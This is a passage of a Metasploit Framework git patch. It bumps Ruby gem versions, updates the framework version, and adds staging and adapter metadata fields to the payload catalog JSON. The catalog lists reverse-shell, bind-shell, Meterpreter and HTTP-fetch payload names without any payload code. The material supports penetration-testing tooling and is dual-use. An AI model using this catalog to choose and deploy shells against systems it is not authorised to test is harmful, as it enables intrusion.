2.0" +aws-sdk-iam, 1.79.0, "Apache 2.0" +aws-sdk-kms, 1.66.0, "Apache 2.0" +aws-sdk-s3, 1.123.1, "Apache 2.0" +aws-sdk-ssm, 1.151.0, "Apache 2.0" aws-sigv4, 1.5.2, "Apache 2.0" bcrypt, 3.1.18, MIT bcrypt_pbkdf, 1.1.0, MIT @@ -32,7 +32,7 @@ concurrent-ruby, 1.2.2, MIT cookiejar, 0.3.3, unknown crass, 1.0.6, MIT daemons, 1.4.1, MIT -debug, 1.7.2, "ruby, Simplified BSD" +debug, 1.8.0, "ruby, Simplified BSD" diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+" dnsruby, 1.70.0, "Apache 2.0" docile, 1.4.0, MIT @@ -45,9 +45,9 @@ eventmachine, 1.2.7, "ruby, GPL-2.0" factory_bot, 6.2.1, MIT factory_bot_rails, 6.2.0, MIT faker, 3.2.0, MIT -faraday, 2.7.4, MIT +faraday, 2.7.6, MIT faraday-net_http, 3.0.2, MIT -faraday-retry, 2.1.0, MIT +faraday-retry, 2.2.0, MIT faye-websocket, 0.11.2, "Apache 2.0" ffi, 1.15.5, "New BSD" filesize, 0.2.0, MIT @@ -60,26 +60,26 @@ hrr_rb_ssh-ed25519, 0.4.2, "Apache 2.0" http-cookie, 1.0.5, MIT http_parser.rb, 0.8.0, MIT httpclient, 2.8.3, ruby -i18n, 1.12.0, MIT +i18n, 1.14.1, MIT io-console, 0.6.0, "ruby, Simplified BSD" -irb, 1.6.4, "ruby, Simplified BSD" +irb, 1.7.0, "ruby, Simplified BSD" jmespath, 1.6.2, "Apache 2.0" jsobfu, 0.4.2, "New BSD" json, 2.6.3, ruby little-plugger, 1.1.4, MIT logging, 2.3.1, MIT -loofah, 2.20.0, MIT +loofah, 2.21.3, MIT memory_profiler, 1.0.1, MIT metasm, 1.0.5, LGPL-2.1 metasploit-concern, 5.0.1, "New BSD" metasploit-credential, 6.0.5, "New BSD" -metasploit-framework, 6.3.21, "New BSD" +metasploit-framework, 6.3.22, "New BSD" metasploit-model, 5.0.1, "New BSD" -metasploit-payloads, 2.0.136, "3-clause (or ""modified"") BSD" +metasploit-payloads, 2.0.141, "3-clause (or ""modified"") BSD" metasploit_data_models, 6.0.2, "New BSD" metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD" method_source, 1.0.0, MIT -mini_portile2, 2.8.1, MIT +mini_portile2, 2.8.2, MIT minitest, 5.18.0, MIT mqtt, 0.6.0, MIT msgpack, 1.6.1, "Apache 2.0" @@ -93,7 +93,7 @@ net-ssh, 7.1.0, MIT network_interface, 0.0.2, MIT nexpose, 7.3.0, "New BSD" nio4r, 2.5.9, MIT -nokogiri, 1.14.3, MIT +nokogiri, 1.14.5, MIT nori, 2.6.0, MIT octokit, 4.25.1, MIT openssl-ccm, 1.2.3, MIT @@ -101,22 +101,22 @@ openssl-cmac, 2.0.2, MIT openvas-omp, 0.0.4, MIT packetfu, 1.1.13, BSD parallel, 1.23.0, MIT -parser, 3.2.2.1, MIT +parser, 3.2.2.3, MIT patch_finder, 1.0.2, "New BSD" pcaprub, 0.13.1, LGPL-2.1 pdf-reader, 2.11.0, MIT -pg, 1.4.6, "Simplified BSD" +pg, 1.5.3, "Simplified BSD" pry, 0.14.2, MIT pry-byebug, 3.10.1, MIT public_suffix, 5.0.1, MIT -puma, 6.2.2, "New BSD" -racc, 1.6.2, "ruby, Simplified BSD" -rack, 2.2.6.4, MIT +puma, 6.3.0, "New BSD" +racc, 1.7.0, "ruby, Simplified BSD" +rack, 2.2.7, MIT rack-protection, 3.0.6, MIT rack-test, 2.1.0, MIT rails-dom-testing, 2.0.3, MIT -rails-html-sanitizer, 1.5.0, MIT -railties, 7.0.4.3, MIT +rails-html-sanitizer, 1.6.0, MIT +railties, 7.0.5, MIT rainbow, 3.1.1, MIT rake, 13.0.6, MIT rasn1, 0.12.1, MIT @@ -124,7 +124,7 @@ rb-readline, 0.5.5, BSD recog, 3.1.1, unknown redcarpet, 3.6.0, MIT regexp_parser, 2.8.0, MIT -reline, 0.3.3, ruby +reline, 0.3.5, ruby rex-arch, 0.1.14, "New BSD" rex-bin_tools, 0.1.8, "New BSD" rex-core, 0.1.31, "New BSD" @@ -134,26 +134,26 @@ rex-java, 0.1.6, "New BSD" rex-mime, 0.1.7, "New BSD" rex-nop, 0.1.2, "New BSD" rex-ole, 0.1.7, "New BSD" -rex-powershell, 0.1.97, "New BSD" +rex-powershell, 0.1.98, "New BSD" rex-random_identifier, 0.1.10, "New BSD" rex-registry, 0.1.4, "New BSD" rex-rop_builder, 0.1.4, "New BSD" -rex-socket, 0.1.51, "New BSD" +rex-socket, 0.1.52, "New BSD" rex-sslscan, 0.1.9, "New BSD" rex-struct2, 0.1.3, "New BSD" -rex-text, 0.2.50, "New BSD" +rex-text, 0.2.52, "New BSD" rex-zip, 0.1.4, "New BSD" rexml, 3.2.5, "Simplified BSD" rkelly-remix, 0.0.7, MIT rspec, 3.12.0, MIT -rspec-core, 3.12.1, MIT -rspec-expectations, 3.12.2, MIT +rspec-core, 3.12.2, MIT +rspec-expectations, 3.12.3, MIT rspec-mocks, 3.12.5, MIT -rspec-rails, 6.0.1, MIT +rspec-rails, 6.0.3, MIT rspec-rerun, 1.1.0, MIT rspec-support, 3.12.0, MIT -rubocop, 1.50.2, MIT -rubocop-ast, 1.28.0, MIT +rubocop, 1.52.0, MIT +rubocop-ast, 1.29.0, MIT ruby-macho, 3.0.0, MIT ruby-prof, 1.4.2, "Simplified BSD" ruby-progressbar, 1.13.0, MIT @@ -167,13 +167,13 @@ simplecov, 0.18.2, MIT simplecov-html, 0.12.3, MIT simpleidn, 0.2.1, MIT sinatra, 3.0.6, MIT -sqlite3, 1.6.2, "New BSD" +sqlite3, 1.6.3, "New BSD" sshkey, 2.0.0, MIT strptime, 0.2.5, "Simplified BSD" swagger-blocks, 3.0.0, MIT thin, 1.8.2, "GPL-2.0+, ruby" -thor, 1.2.1, MIT -tilt, 2.1.0, MIT +thor, 1.2.2, MIT +tilt, 2.2.0, MIT timecop, 0.9.6, MIT timeout, 0.3.2, "ruby, Simplified BSD" ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0" @@ -193,4 +193,4 @@ winrm, 2.3.6, "Apache 2.0" xdr, 3.0.3, "Apache 2.0" xmlrpc, 0.3.2, "ruby, Simplified BSD" yard, 0.9.34, MIT -zeitwerk, 2.6.7, MIT +zeitwerk, 2.6.8, MIT diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 4a84e8a681c41..77e248639b126 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -32,7 +32,7 @@ def self.get_hash end end - VERSION = "6.3.21" + VERSION = "6.3.22" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash From 8527eea15d96865a196174b365c324a3831d1666 Mon Sep 17 00:00:00 2001 From: Dean Welch Date: Fri, 24 Mar 2023 14:00:05 +0000 Subject: [PATCH 415/415] Add lazy loading for payloads --- db/modules_metadata_base.json | 9030 +++++++++++++---- lib/msf/base/simple/framework/module_paths.rb | 2 +- lib/msf/core/module.rb | 33 + lib/msf/core/module/module_info.rb | 2 +- lib/msf/core/module_manager/cache.rb | 58 +- lib/msf/core/module_manager/loading.rb | 2 +- lib/msf/core/module_manager/module_paths.rb | 6 +- lib/msf/core/module_set.rb | 11 +- lib/msf/core/modules/loader/base.rb | 39 +- lib/msf/core/modules/loader/directory.rb | 8 + lib/msf/core/modules/loader/executable.rb | 9 + lib/msf/core/modules/metadata/cache.rb | 8 +- lib/msf/core/modules/metadata/obj.rb | 54 +- lib/msf/core/payload_set.rb | 68 +- spec/lib/msf/core/modules/loader/base_spec.rb | 588 +- .../examples/msf/module_manager/cache.rb | 175 +- 16 files changed, 8019 insertions(+), 2074 deletions(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 0079aeaa4dcac..5a5888bb709d3 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -176078,7 +176078,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_aix/ppc/shell_find_port": { "name": "AIX Command Shell, Find Port Inline", @@ -176112,7 +176114,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_aix/ppc/shell_interact": { "name": "AIX execve Shell for inetd", @@ -176146,7 +176150,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_aix/ppc/shell_reverse_tcp": { "name": "AIX Command Shell, Reverse TCP Inline", @@ -176180,7 +176186,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_android/meterpreter/reverse_http": { "name": "Android Meterpreter, Android Reverse HTTP Stager", @@ -176217,7 +176225,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "android/meterpreter", + "stager_refname": "android/reverse_http" }, "payload_android/meterpreter/reverse_https": { "name": "Android Meterpreter, Android Reverse HTTPS Stager", @@ -176254,7 +176266,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "android/meterpreter", + "stager_refname": "android/reverse_https" }, "payload_android/meterpreter/reverse_tcp": { "name": "Android Meterpreter, Android Reverse TCP Stager", @@ -176290,7 +176306,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "android/meterpreter", + "stager_refname": "android/reverse_tcp" }, "payload_android/meterpreter_reverse_http": { "name": "Android Meterpreter Shell, Reverse HTTP Inline", @@ -176324,7 +176344,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_android/meterpreter_reverse_https": { "name": "Android Meterpreter Shell, Reverse HTTPS Inline", @@ -176358,7 +176380,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_android/meterpreter_reverse_tcp": { "name": "Android Meterpreter Shell, Reverse TCP Inline", @@ -176392,7 +176416,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_android/shell/reverse_http": { "name": "Command Shell, Android Reverse HTTP Stager", @@ -176429,7 +176455,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "android/shell", + "stager_refname": "android/reverse_http" }, "payload_android/shell/reverse_https": { "name": "Command Shell, Android Reverse HTTPS Stager", @@ -176466,7 +176496,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "android/shell", + "stager_refname": "android/reverse_https" }, "payload_android/shell/reverse_tcp": { "name": "Command Shell, Android Reverse TCP Stager", @@ -176501,7 +176535,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "android/shell", + "stager_refname": "android/reverse_tcp" }, "payload_apple_ios/aarch64/meterpreter_reverse_http": { "name": "Apple_iOS Meterpreter, Reverse HTTP Inline", @@ -176537,7 +176575,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_apple_ios/aarch64/meterpreter_reverse_https": { "name": "Apple_iOS Meterpreter, Reverse HTTPS Inline", @@ -176573,7 +176613,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_apple_ios/aarch64/meterpreter_reverse_tcp": { "name": "Apple_iOS Meterpreter, Reverse TCP Inline", @@ -176609,7 +176651,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_apple_ios/aarch64/shell_reverse_tcp": { "name": "Apple iOS aarch64 Command Shell, Reverse TCP Inline", @@ -176643,7 +176687,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_apple_ios/armle/meterpreter_reverse_http": { "name": "Apple_iOS Meterpreter, Reverse HTTP Inline", @@ -176679,7 +176725,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_apple_ios/armle/meterpreter_reverse_https": { "name": "Apple_iOS Meterpreter, Reverse HTTPS Inline", @@ -176715,7 +176763,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_apple_ios/armle/meterpreter_reverse_tcp": { "name": "Apple_iOS Meterpreter, Reverse TCP Inline", @@ -176751,7 +176801,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/sparc/shell_bind_tcp": { "name": "BSD Command Shell, Bind TCP Inline", @@ -176785,7 +176837,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/sparc/shell_reverse_tcp": { "name": "BSD Command Shell, Reverse TCP Inline", @@ -176819,7 +176873,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/vax/shell_reverse_tcp": { "name": "BSD Command Shell, Reverse TCP Inline", @@ -176853,7 +176909,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x64/exec": { "name": "BSD x64 Execute Command", @@ -176887,7 +176945,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x64/shell_bind_ipv6_tcp": { "name": "BSD x64 Command Shell, Bind TCP Inline (IPv6)", @@ -176921,7 +176981,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x64/shell_bind_tcp": { "name": "BSD x64 Shell Bind TCP", @@ -176956,7 +177018,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x64/shell_bind_tcp_small": { "name": "BSD x64 Command Shell, Bind TCP Inline", @@ -176990,7 +177054,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x64/shell_reverse_ipv6_tcp": { "name": "BSD x64 Command Shell, Reverse TCP Inline (IPv6)", @@ -177024,7 +177090,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x64/shell_reverse_tcp": { "name": "BSD x64 Shell Reverse TCP", @@ -177059,7 +177127,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x64/shell_reverse_tcp_small": { "name": "BSD x64 Command Shell, Reverse TCP Inline", @@ -177093,7 +177163,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x86/exec": { "name": "BSD Execute Command", @@ -177129,7 +177201,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x86/metsvc_bind_tcp": { "name": "FreeBSD Meterpreter Service, Bind TCP", @@ -177163,7 +177237,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x86/metsvc_reverse_tcp": { "name": "FreeBSD Meterpreter Service, Reverse TCP Inline", @@ -177197,7 +177273,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x86/shell/bind_ipv6_tcp": { "name": "BSD Command Shell, Bind TCP Stager (IPv6)", @@ -177233,7 +177311,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "bsd/x86/shell", + "stager_refname": "bsd/x86/bind_ipv6_tcp" }, "payload_bsd/x86/shell/bind_tcp": { "name": "BSD Command Shell, Bind TCP Stager", @@ -177267,7 +177349,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "bsd/x86/shell", + "stager_refname": "bsd/x86/bind_tcp" }, "payload_bsd/x86/shell/find_tag": { "name": "BSD Command Shell, Find Tag Stager", @@ -177301,7 +177387,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "bsd/x86/shell", + "stager_refname": "bsd/x86/find_tag" }, "payload_bsd/x86/shell/reverse_ipv6_tcp": { "name": "BSD Command Shell, Reverse TCP Stager (IPv6)", @@ -177337,7 +177427,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "bsd/x86/shell", + "stager_refname": "bsd/x86/reverse_ipv6_tcp" }, "payload_bsd/x86/shell/reverse_tcp": { "name": "BSD Command Shell, Reverse TCP Stager", @@ -177371,7 +177465,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "bsd/x86/shell", + "stager_refname": "bsd/x86/reverse_tcp" }, "payload_bsd/x86/shell_bind_tcp": { "name": "BSD Command Shell, Bind TCP Inline", @@ -177405,7 +177503,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x86/shell_bind_tcp_ipv6": { "name": "BSD Command Shell, Bind TCP Inline (IPv6)", @@ -177441,7 +177541,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x86/shell_find_port": { "name": "BSD Command Shell, Find Port Inline", @@ -177475,7 +177577,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x86/shell_find_tag": { "name": "BSD Command Shell, Find Tag Inline", @@ -177509,7 +177613,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x86/shell_reverse_tcp": { "name": "BSD Command Shell, Reverse TCP Inline", @@ -177543,7 +177649,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsd/x86/shell_reverse_tcp_ipv6": { "name": "BSD Command Shell, Reverse TCP Inline (IPv6)", @@ -177579,7 +177687,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsdi/x86/shell/bind_tcp": { "name": "BSDi Command Shell, Bind TCP Stager", @@ -177613,7 +177723,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "bsdi/x86/shell", + "stager_refname": "bsdi/x86/bind_tcp" }, "payload_bsdi/x86/shell/reverse_tcp": { "name": "BSDi Command Shell, Reverse TCP Stager", @@ -177647,7 +177761,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "bsdi/x86/shell", + "stager_refname": "bsdi/x86/reverse_tcp" }, "payload_bsdi/x86/shell_bind_tcp": { "name": "BSDi Command Shell, Bind TCP Inline", @@ -177682,7 +177800,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsdi/x86/shell_find_port": { "name": "BSDi Command Shell, Find Port Inline", @@ -177717,7 +177837,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_bsdi/x86/shell_reverse_tcp": { "name": "BSDi Command Shell, Reverse TCP Inline", @@ -177752,7 +177874,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_cmd/linux/http/mips64/meterpreter_reverse_http": { "name": "HTTP Fetch", @@ -177790,7 +177914,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/mips64", + "adapted_refname": "linux/mips64/meterpreter_reverse_http", + "staged": false }, "payload_cmd/linux/http/mips64/meterpreter_reverse_https": { "name": "HTTP Fetch", @@ -177828,7 +177956,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/mips64", + "adapted_refname": "linux/mips64/meterpreter_reverse_https", + "staged": false }, "payload_cmd/linux/http/mips64/meterpreter_reverse_tcp": { "name": "HTTP Fetch", @@ -177866,7 +177998,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/mips64", + "adapted_refname": "linux/mips64/meterpreter_reverse_tcp", + "staged": false }, "payload_cmd/linux/http/x64/exec": { "name": "HTTP Fetch, Linux Execute Command", @@ -177902,7 +178038,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/exec", + "staged": false }, "payload_cmd/linux/http/x64/meterpreter/bind_tcp": { "name": "HTTP Fetch, Bind TCP Stager", @@ -177938,7 +178078,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/bind_tcp" }, "payload_cmd/linux/http/x64/meterpreter/reverse_sctp": { "name": "HTTP Fetch, Reverse SCTP Stager", @@ -177974,7 +178120,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/meterpreter/reverse_sctp", + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/reverse_sctp" }, "payload_cmd/linux/http/x64/meterpreter/reverse_tcp": { "name": "HTTP Fetch, Reverse TCP Stager", @@ -178011,7 +178163,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "linux/x64/meterpreter", + "stager_refname": "linux/x64/reverse_tcp" }, "payload_cmd/linux/http/x64/meterpreter_reverse_http": { "name": "HTTP Fetch", @@ -178048,7 +178206,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/meterpreter_reverse_http", + "staged": false }, "payload_cmd/linux/http/x64/meterpreter_reverse_https": { "name": "HTTP Fetch", @@ -178085,7 +178247,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/meterpreter_reverse_https", + "staged": false }, "payload_cmd/linux/http/x64/meterpreter_reverse_tcp": { "name": "HTTP Fetch", @@ -178122,7 +178288,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/meterpreter_reverse_tcp", + "staged": false }, "payload_cmd/linux/http/x64/pingback_bind_tcp": { "name": "HTTP Fetch, Linux x64 Pingback, Bind TCP Inline", @@ -178157,7 +178327,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/pingback_bind_tcp", + "staged": false }, "payload_cmd/linux/http/x64/pingback_reverse_tcp": { "name": "HTTP Fetch, Linux x64 Pingback, Reverse TCP Inline", @@ -178192,7 +178366,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/pingback_reverse_tcp", + "staged": false }, "payload_cmd/linux/http/x64/shell/bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager", @@ -178227,7 +178405,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/shell/bind_tcp", + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/bind_tcp" }, "payload_cmd/linux/http/x64/shell/reverse_sctp": { "name": "HTTP Fetch, Linux Command Shell, Reverse SCTP Stager", @@ -178263,7 +178447,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/shell/reverse_sctp", + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/reverse_sctp" }, "payload_cmd/linux/http/x64/shell/reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager", @@ -178299,7 +178489,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/shell/reverse_tcp", + "staged": true, + "stage_refname": "linux/x64/shell", + "stager_refname": "linux/x64/reverse_tcp" }, "payload_cmd/linux/http/x64/shell_bind_ipv6_tcp": { "name": "HTTP Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)", @@ -178334,7 +178530,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/shell_bind_ipv6_tcp", + "staged": false }, "payload_cmd/linux/http/x64/shell_bind_tcp": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline", @@ -178369,7 +178569,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/shell_bind_tcp", + "staged": false }, "payload_cmd/linux/http/x64/shell_bind_tcp_random_port": { "name": "HTTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", @@ -178404,7 +178608,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/shell_bind_tcp_random_port", + "staged": false }, "payload_cmd/linux/http/x64/shell_find_port": { "name": "HTTP Fetch, Linux Command Shell, Find Port Inline", @@ -178439,7 +178647,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/shell_find_port", + "staged": false }, "payload_cmd/linux/http/x64/shell_reverse_ipv6_tcp": { "name": "HTTP Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)", @@ -178474,7 +178686,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/shell_reverse_ipv6_tcp", + "staged": false }, "payload_cmd/linux/http/x64/shell_reverse_tcp": { "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline", @@ -178509,7 +178725,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x64", + "adapted_refname": "linux/x64/shell_reverse_tcp", + "staged": false }, "payload_cmd/linux/http/x86/adduser": { "name": "HTTP Fetch, Linux Add User", @@ -178547,7 +178767,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/adduser", + "staged": false }, "payload_cmd/linux/http/x86/chmod": { "name": "HTTP Fetch, Linux Chmod", @@ -178583,7 +178807,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/chmod", + "staged": false }, "payload_cmd/linux/http/x86/exec": { "name": "HTTP Fetch, Linux Execute Command", @@ -178621,7 +178849,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/linux/http/x86", + "adapted_refname": "linux/x86/exec", + "staged": false }, 